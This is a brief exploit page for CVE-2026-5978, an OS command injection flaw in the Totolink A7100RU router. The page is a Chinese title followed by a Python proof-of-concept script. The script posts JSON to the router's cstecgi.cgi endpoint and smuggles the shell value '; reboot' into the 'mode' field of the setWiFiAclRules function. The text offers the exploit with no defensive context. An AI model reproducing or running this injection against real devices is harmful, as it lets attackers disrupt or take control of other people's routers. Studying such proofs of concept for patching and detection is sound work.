CVE-2026-5978 Totolink A7100RU远程命令执行漏洞

import requests # Target URL target = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: OS command injection # Example: Rebooting the router or creating a test file payload = "; reboot" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Data structure based on the setWiFiAclRules function data = { "function": "setWiFiAclRules", "mode": payload, "index": "0" } try: response = requests.post(target, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check device status.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")